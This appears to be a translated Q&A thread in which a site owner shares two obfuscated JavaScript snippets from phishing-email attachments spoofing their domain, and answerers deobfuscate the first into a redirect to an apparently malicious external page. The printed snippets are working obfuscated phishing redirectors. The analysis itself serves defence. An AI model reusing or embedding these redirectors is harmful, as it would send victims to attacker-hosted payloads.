这个Javascript做了什么?

时间:2010-06-11 01:17:28

标签: javascript phishing

我刚刚发现垃圾邮件发送者正在从我们的域名发送电子邮件,假装是我们,说:

  

尊敬的客户,

     

此电子邮件由ourwebsite.com发送   通知你我们有时间   阻止访问您的帐户。

     

我们有理由相信你的   帐户可能已被访问过   其他人。请运行附件   并按照说明进行操作。

     

(C)ourwebsite.com(我改变了)

附件是一个HTML文件,其中包含以下javascript:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>

另一封电子邮件:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>

有谁能告诉我它的作用?所以我们可以看看我们是否有漏洞,如果我们需要告诉客户这个漏洞......

由于

4 个答案:

答案 0 :(得分:5)

答案:

脚本执行

document.location.href = "http://mvblaw.com/z.htm";    //Evil site (I assume)

它还包含大量无用的行来隐藏脚本的真正用途。

分析

这里是解压缩的。

function mD() {};
this.aB = 43719;
mD.prototype = {
    i: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';

清理混淆并添加有意义的名称,它变为

function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
    doIt: function () {
        var w = new Date();
        this.j = '';
        var x = function () {};
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var d = new Date();
        y = "";
        aL = "";
        var f = document;
        var s = function () {};
        this.yE = "";
        aN = "";
        var dL = '';
        var iD = f['location'];
        this.v = "v";
        var q = 27427;
        var m = new Date();
        iD['href'] = a;
        dE = '';
        k = "";
        var qY = function () {};
    }
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';

删除所有无用的行,它变为

function TempClass() {};

TempClass.prototype = {
    doIt: function () {
        var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)

        var f = document;
        var iD = f['location'];
        iD['href'] = a;
    }
};

var b = new TempClass();
b.doIt();

答案 1 :(得分:3)

没有天才,他们:

hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');

h t t p : / / m v b l a w . c o m / z . h t m


f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];

   l o c a t i o n

iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;

    h r e f

甚至不需要通过正则表达式运行它:)

我将假设他们攻击mvblaw并在那里窃听有效载荷页面。拥有VM的任何人都希望看到它的作用?

答案 2 :(得分:3)

脚本有很多无用的东西只是为了制造混乱,脚本的基本部分是:

function mD() {};
mD.prototype = {
  i: function () {
     // read between every two letters:
     var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
              .replace(/[gJG,\<]/g, '');
     var f = document;
     var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
     iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
   }
};
var b = new mD();
b.i();

如果我们清理更多:

function mD() {};
mD.prototype = {
  i: function () {
     var a = 'http://mvblaw.com/z.htm';
     var f = document;
     var iD = f['location'];
     iD['href'] = a;
   }
};
var b = new mD();
b.i();

还有更多:

function mD() {};
mD.prototype = {
  i: function () {
     document.location.href = 'http://mvblaw.com/z.htm';
   }
};
var b = new mD();
b.i();

答案 3 :(得分:0)

基本上,它似乎将(document['location'])['href'](或者,通常说document.location.href)设置为http://mvblaw.com/z.htm

混淆代码非常简单,只需用任何内容替换噪声字符:

var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
    // a = http://mvblaw.com/z.htm
var f=document;
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
    // iD = document.location
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
    // document.location.href = a (the URL above).